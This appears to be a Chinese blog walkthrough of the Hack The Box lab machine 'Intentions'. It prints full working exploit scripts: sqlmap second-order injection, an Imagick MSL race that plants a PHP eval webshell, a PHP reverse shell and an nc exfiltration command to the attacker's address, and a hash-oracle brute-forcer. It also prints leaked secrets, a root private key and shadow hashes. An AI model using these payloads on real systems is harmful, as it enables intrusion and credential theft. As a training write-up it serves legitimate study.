基本信息
端口扫描 22和80:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 $ nmap -sC -sV -Pn 10.10.11.220 Starting Nmap 7.94 ( https://nmap.org ) at 2023-07-03 13:12 CST Nmap scan report for 10.10.11.220 Host is up (0.078s latency). Not shown: 998 closed tcp ports (conn-refused) PORT STATE SERVICE VERSION 22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.1 (Ubuntu Linux; protocol 2.0) | ssh-hostkey: | 256 47:d2:00:66:27:5e:e6:9c:80:89:03:b5:8f:9e:60:e5 (ECDSA) |_ 256 c8:d0:ac:8d:29:9b:87:40:5f:1b:b0:a4:1d:53:8f:f1 (ED25519) 80/tcp open http nginx 1.18.0 (Ubuntu) |_http-title: Intentions |_http-server-header: nginx/1.18.0 (Ubuntu) Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel Service detection performed. Please report any incorrect results at https://nmap.org/submit/ . Nmap done: 1 IP address (1 host up) scanned in 28.90 seconds
80 图片库:
gallery 随意注册登录,进入gallery:
Profile 唯一可以输入的地方是Profile里设置偏好图片类型,然后会影响在feed里展示的图片:
二阶sql注入 这种场景很大可能是二阶sql注入,验证存在:
后面参考sqlmap的payload,可以直接回显的:
sqlmap支持二阶注入,需要保存两步请求包,--second-req
参数使用第二个包:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 sqlmap -r genres.txt --level 3 --risk 3 --batch --dbs --tamper=space2comment --second-req feed.txt --threads 10 available databases [2]: [*] information_schema [*] intentions sqlmap -r genres.txt --level 3 --risk 3 --batch --dbs --tamper=space2comment --second-req feed.txt --threads 10 -D intentions --tables Database: intentions [4 tables] +------------------------+ | gallery_images | | migrations | | personal_access_tokens | | users | +------------------------+ sqlmap -r genres.txt --level 3 --risk 3 --batch --dbs --tamper=space2comment --second-req feed.txt --threads 10 -D intentions -T users --dump steve@intentions.htb : $2y$10$M/g27T1kJcOpYOfPqQlI3.YfdLIwr3EWbzWOLfpoTtjpeMqpp4twa greg@intentions.htb : $2y$10$95OR7nHSkYuFUUxsT1KS6uoQ93aufmrpknz4jwRqzIbsUpRiiyU5m
login v2 得到的hash破解不出来,回到登录接口,注意到路径中的v1,修改为v2会发现需要hash参数:
使用通过sql注入得到的hash可以成功登录:
然后前面在数据库中也可以知道这是admin用户,直接访问admin即可:
gallery admin news里提到新图片需要附上版权信息,images里可以进行编辑:
测试编辑,根据请求响应信息,可能是LFI:
LFI 输入path必须是有效的图片格式,测试常规LFI无效,根据Discord提示用到的Trick(SCTF fumo_backdoor):
1 mvg:/etc/passwd[20x20+20+20]
后面就是一步步读文件:
1 2 3 4 5 6 7 8 9 10 11 12 mvg:/var/www/html/intentions/.env[20x20+20+20] APP_KEY=base64:YDGHFO792XTVdInb9gGESbGCyRDsAIRCkKoIMwkyHHI= ... DB_CONNECTION=mysql DB_HOST=localhost DB_PORT=3306 DB_DATABASE=intentions DB_USERNAME=laravel DB_PASSWORD=02mDWOgsOga03G385!!3Plcx ... JWT_SECRET=yVH9RCGPMXyzNLoXrEsOl0klZi3MAxMHcMlRAnlobuSO8WNtLHStPiOUUgfmbwPt
但没开debug模式,并不能直接打
lfi.py discord里给的脚本:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 import requestsimport base64url = 'http://10.10.11.220/api/v2/admin/image/modify' headers = { 'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' , 'Accept' : 'application/json, text/plain, */*' , 'Accept-Language' : 'en-US,en;q=0.5' , 'Accept-Encoding' : 'gzip, deflate' , 'X-Requested-With' : 'XMLHttpRequest' , 'Content-Type' : 'application/json' , 'X-XSRF-TOKEN' : '?' , 'Origin' : 'http://10.10.11.220' , 'Referer' : 'http://10.10.11.220/admin' , 'Cookie' : 'intentions_session=??; token=??' , } def send_request (file_path) : data = { 'path' : f'mvg:{file_path} [20x20+20+20]' , 'effect' : 'wave' } response = requests.post(url, headers=headers, json=data) if response.status_code == 200 and response.text.startswith('data:image/jpeg;base64,' ): base64_str = response.text.split('data:image/jpeg;base64,' )[1 ] decoded_str = base64.b64decode(base64_str).decode('utf-8' ) print(decoded_str) else : print(response.text) file_path = input("Enter the path to the file:" ) send_request(file_path)
Imagick 扩展 反序列化 图像处理用的Imagick 扩展,path那里测试也可以通过http到我们可控的源图片,可以参考这个:
用到的是RCE #2:VID 方案,自己手动就是intruder里同时发三个请求,discord里也给了脚本,替换脚本里必要参数,得到www-data:
1 2 3 4 convert xc:red -set 'Copyright' '<?php @eval(@$_REQUEST["cmd"]); ?>' miao.png pip3 install aiohttp python3 shell.py
shell.py discord里给的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 import asyncioimport aiohttpimport requestsheaders = { 'Content-Type' : 'application/json' , 'User-Agent' : 'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/115.0.0.0 Safari/537.36' , 'Cookie' : 'token=<token>' , 'Connection' : 'close' } header2 = { "Accept" : "*/*" , "Content-Type" : "multipart/form-data; boundary=------------------------c32aaddf3d8fd979" } data1 = { 'path' : 'vid:msl:/tmp/php*' , 'effect' : 'charcoal' } data2 = ''' --------------------------c32aaddf3d8fd979 Content-Disposition: form-data; name="swarm"; filename="swarm.msl" Content-Type: application/octet-stream <?xml version="1.0" encoding="UTF-8"?> <image> <read filename="http://<tun>:7777/miao.png" /> <write filename="/var/www/html/intentions/public/miao.php" /> </image> --------------------------c32aaddf3d8fd979-- ''' data3 = { 'path' : 'vid:msl:/var/www/html/intentions/public/index*' , 'effect' : 'charcoal' } url = 'http://<url>/' url1 = url + "api/v2/admin/image/modify" url2 = url + "miao.php" async def send_requests () : async with aiohttp.ClientSession(headers=headers) as session: tasks = [] for _ in range(30 ): task1 = asyncio.ensure_future(session.post(url1, json=data1)) tasks.append(task1) task2 = asyncio.ensure_future(session.post(url1, headers=header2, data=data2)) tasks.append(task2) task3 = asyncio.ensure_future(session.post(url1, json=data3)) tasks.append(task3) responses = await asyncio.gather(*tasks) for response in responses: print(await response.text()) loop = asyncio.get_event_loop() loop.run_until_complete(send_requests()) revshell = { "cmd" :"""$sock=fsockopen("<tun>",4444);$proc=proc_open("sh", array(0=>$sock, 1=>$sock, 2=>$sock),$pipes);""" } requests.post(url2, data=revshell)
信息 intentions里有git,但www-data没权限读,可以打包下载到本地来查看,得到greg密码:
1 2 3 4 5 6 7 8 9 tar cvf /tmp/git.tar.gz .git nc 10.10.14.11 4444 < git.tar.gz # local rlwrap nc -nlvp 4444 > git.tar.gz git log git diff 36b4287cf2fb356d868e71dc1ac90fc8fa99d319 f7c903a54cacc4b8f27e00dbf5b0eae4c16c3bb4 $ res = $test ->postJson('/api/v1/auth/login' , ['email' => 'greg@intentions.htb' , 'password' => 'Gr3g1sTh3B3stDev3l0per!1998!' ]);
user flag greg账号密码登录,得到user flag:
提权信息 greg用户在scanner组,/opt里也有个scanner程序,这个程序有读文件的特权,但只是给出对应文件的hash:
但注意有一个-l
参数,可以指定读取的字节数来进行hash,简单测试:
那这样的话,我们就可以逐个字符爆破出任意文件内容(不确定是否是预期方法,但root用户提供了id_rsa用于读取)
提权 & root flag 方法就是计算出使用字符集的md5,然后逐个字符爆破指定文件,这里已经可以直接读root flag了,但也给了root id_rsa:
root_id_rsa 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 -----BEGIN OPENSSH PRIVATE KEY----- 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 -----END OPENSSH PRIVATE KEY-----
shadow 1 2 3 4 root:$y$j9T$JjiD.nZgfr5ZSBdO4E9rY0$ZOElIJaX9F5qdpt54qFqtklDntYf/yo4kEUqqD/KFyA:19519:0:99999:7::: steven:$y$j9T$TM/hbL/SRCyk67reQMC9C/$QHTiY3rtnGuQS1teQB7jrMys0eMkm7.tlnKFGrsoIa9:19391:0:99999:7::: greg:$y$j9T$/LxemPBd1ROuQOmQY7OJ0/$T7eTn0juiHsctWeX3GIOynHPuGKRiFMO1F.1zzPG696:19390:0:99999:7::: legal:$y$j9T$Sl/k/bJVnQR85nLW6kAwj1$lmrMHlaVA9/xFczVtj92LsiLw7xpd4YYrmfJ7Yv37aD:19518:0:99999:7:::
exp.py 也是discord里给的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 import osimport hashlibdef find_character (prefix, md5_hash) : for char in range(256 ): test_string = prefix + chr(char) hashed_string = hashlib.md5(test_string.encode()).hexdigest() if hashed_string == md5_hash: return chr(char) return None def get_hash (file, length) : data = os.popen(f"/opt/scanner/scanner -p -s 123456 -c {file} -l {length} " ).read() data_lines = data.split("\n" ) return data_lines[0 ].split()[-1 ] file = input("File path: " ) content = "" cont = 1 while True : try : partial_hash = get_hash(file, cont) new_char = find_character(content, partial_hash) content += new_char cont += 1 except : break print(os.system("clear" )) print(f"Content of file {file} " ) print(content)
参考资料
Last updated: 2023-10-16 09:27:02
水平不济整日被虐这也不会那也得学,脑子太蠢天天垫底这看不懂那学不会